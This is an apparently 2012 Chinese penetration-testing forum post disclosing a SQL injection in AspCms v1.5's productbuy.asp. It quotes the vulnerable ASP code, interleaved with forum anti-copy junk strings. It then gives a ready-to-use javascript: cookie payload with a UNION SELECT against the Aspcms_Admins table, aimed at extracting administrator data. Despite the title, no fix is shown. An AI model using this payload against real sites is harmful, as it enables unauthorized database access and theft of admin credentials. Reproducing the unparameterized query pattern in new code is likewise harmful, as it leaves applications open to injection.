中国网络渗透测试联盟
标题:
AspCms_v1.5_20110517 SQL注射漏洞及修复
[打印本页]
作者:
admin
时间:
2012-12-27 08:35
标题:
AspCms_v1.5_20110517 SQL注射漏洞及修复
好久没上土司了,上来一看发现在删号名单内.....
`& Z# P8 r3 {# w1 ^2 s2 B
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
4 z! \2 q! n1 |3 n: _9 F8 |
废话不多说,看代码:
% u) w$ w6 h. } b* O! G, f
+ k9 O' b/ d- I( `
<%
7 `% P2 t! S! y, I5 B$ N/ P
: D& T, f( G' j
if action = "buy" then
! g5 t; }9 a9 V: M7 r4 F1 f u
, }* P, z! h( f' ?/ K) P
addOrder()
! ^( Y- D$ |4 p; M
+ m+ O0 i j0 E8 h8 u5 H5 F
else
q1 |6 L# f) u/ W
# f8 g9 n- z5 a F
echoContent()
, W* R+ r A0 W6 m( E" o/ L3 }7 P
- Y3 M5 A/ X: \
end if
% @. J; o8 k! x2 p# C& S
% [5 J6 ]- M! Y
' ~+ T- L2 ~! Q$ U4 _2 p
, {! z: U, A: o8 B3 ^/ }) x: n
……略过
2 T; f% A) ]. J1 z" M' k
8 D% z) V. G" e+ }
* y# ]4 `# Y" W& I) g3 V' j) G: F
3 H7 m+ e: V8 h
Sub echoContent()
/ H4 Q% U8 ]" G) ^6 {1 ]
6 X& J# l, y6 ]0 w5 g1 w
dim id
8 y; X0 z% [* U
7 ]# f7 f7 L( z
id=getForm("id","get")
5 _3 ^4 r$ }5 x
; D( G, X, B3 A- c J7 q: {
9 i9 M0 d+ B8 {. e
3 u# n, P7 P- f) m# S+ p* m
if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
0 O& `, J( Y& h& m( a# p
4 z9 T" `" |1 Q- y& s, y. {
; }) ^% x& I1 N; a
+ P# T; r, l# z, o
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
+ W$ j: A: j6 o( i* C. N2 h
1 z7 b7 W) g, Y, A
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
/ p! J) K @* y2 z
| H4 ]/ N5 M" \" z
Dim templatePath,tempStr
6 x2 \) P) v/ ~, m9 ~# ~' {5 }+ w
9 o; r7 H8 T6 ]! K1 i9 U
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
$ Y! C7 }$ B/ X' U2 d3 w
& @% A- [2 T5 E+ v4 }8 A
. |. \5 e, z6 F( }
; X) ^* W* H- ?* P
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")
/ s% w, I; L" O. j' ?
# j" M6 i" q" I9 V5 a- d, q
selectproduct=rsObj(0)
: B8 [( _- H4 F& `
: }0 Q5 X9 v6 l) b! F
* ], C8 ]& Q$ }4 e( _
2 U% P& }2 h3 O# z& B+ @1 N! O
Dim linkman,gender,phone,mobile,email,qq,address,postcode
/ S; T$ Y u" V# l9 n( S
6 w7 d& ^7 ~$ j0 e5 c+ ^/ O" y% _7 U
if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
1 c& s+ u1 O0 H( y+ ^* [1 {2 W: l
( n( s' x) m2 Q/ E
if rCookie("loginstatus")=1 then
5 h7 K# ]2 z7 a( e/ O& [- }
0 T$ m) |' ^# C# N( ?6 R) G
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
\* | ]; ?* u, ]* E" F0 ?
1 X7 P1 ^6 N9 d3 C7 ]& X
linkman=rsObj("truename")
# D1 E3 Q% u& S0 X! e" d+ @) ]- x" M
: c6 w/ H) ^" ^
gender=rsObj("gender")
6 p6 [5 y( D1 A0 Q
+ U: z% Z* j" J+ i' D* ^. {$ a' \
phone=rsObj("phone")
/ o3 M% O6 j$ i. C3 ]$ V/ q
4 k" Y6 J) P8 ~" c
mobile=rsObj("mobile")
& X( ~7 W% i3 ]. O
3 q) q1 J# n2 n ?: }% s7 a
email=rsObj("email")
) v, Y2 v. f: I/ g+ m" d1 c
8 @ t, |# ?+ d1 p$ X6 f* u
qq=rsObj("qq")
# [& S* H! ]( P7 `& f y
5 a. L0 K3 L; O2 i, t/ S
address=rsObj("address")
, D, f0 n- v- g7 J
! x, y! b$ l+ K3 S9 i) }# ^
postcode=rsObj("postcode")
% K( D) w6 d0 e: Y
' c2 @; p: q3 i, ]5 E+ _1 E
else
6 v% W& v, k& S) S
9 I5 R3 A/ m9 m9 y y
gender=1
1 }$ F T( @. u1 v3 A; {
) g# Y, Y$ w! @0 l) x# Y L
end if
$ G, V9 N6 R6 @+ t2 Z2 R& V. ?7 X
7 U1 N& F9 ~. P( N! V
rsObj.close()
2 Y" R5 p& D2 a; j
4 ?' g! V! d% m
+ Y1 o7 E5 w0 }8 G; O0 ]
% W$ e+ N2 h0 C
with templateObj
9 D6 l& \/ ^2 y( j7 Q
- l, P% w0 Y" @1 b$ z* F( J
.content=loadFile(templatePath)
. F) U, A7 ~# d3 Y4 k: S$ T
) j5 e* ]. v) Q+ L+ B9 p7 U
.parseHtml()
4 T: V% j8 _) g3 T! o7 [8 L
0 U. h/ F+ j' \; t
.content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
' A2 ]9 q/ z% r3 I
0 U* b: |3 P( q) l! O( x9 Z
.content=replaceStr(.content,"[aspcms:linkman]",linkman)
. k/ y& B2 u h& }, V
% v; b/ `! w! C
.content=replaceStr(.content,"[aspcms:gender]",gender)
0 Y! c- I- _! y6 k9 L" D
/ D- ]+ B+ b1 |/ F9 K
.content=replaceStr(.content,"[aspcms:phone]",phone)
; K( G3 }5 a2 N' D0 b
6 D5 u" k0 d5 f; ^1 v" l
.content=replaceStr(.content,"[aspcms:mobile]",mobile)
. \1 Q1 A5 H) J0 h- m
$ k6 e* P8 w8 J2 m8 k
.content=replaceStr(.content,"[aspcms:email]",email)
# A+ D1 w0 K' {
# t' h0 x5 N8 G0 T( Q
.content=replaceStr(.content,"[aspcms:qq]",qq)
7 i$ [, H1 j; U3 q J t2 l
* d" r1 j' ]' E$ o
.content=replaceStr(.content,"[aspcms:address]",address)
! @6 A9 I$ O8 F; J
4 ]: O+ p3 Y" b, f& u. i) }
.content=replaceStr(.content,"[aspcms:postcode]",postcode)
7 c/ W' i/ l+ m. ^- C) W
/ j# P8 t) C1 A) ~8 Z5 A9 n
.parseCommon()
3 M( [5 I. a& W- r( V
6 ^+ ]0 i' o7 M, G& v
echo .content
, Z4 h+ q5 n* Y$ a$ v
0 t" r* q/ J. }3 U% Z
end with
# C& G8 a* }1 {) D/ q! A( {0 ~/ _
$ }$ F7 ]- d% G- H* D
set templateobj =nothing : terminateAllObjects
" e. J2 l' ^& A' y# h0 L
8 P% @: Z& S& V% } K8 b
End Sub
4 S8 f' W! A; q& m6 n
漏洞很明显,没啥好说的
4 X4 v/ e+ s; I5 D
poc:
: L" G! B9 J5 K r ~$ Y
6 s9 w. x% n/ b# g$ J
javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
1 ^& X# ~% y4 d7 C- q& Q5 l2 w% o( B
1 c$ Z* ^0 D/ C; @( n
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2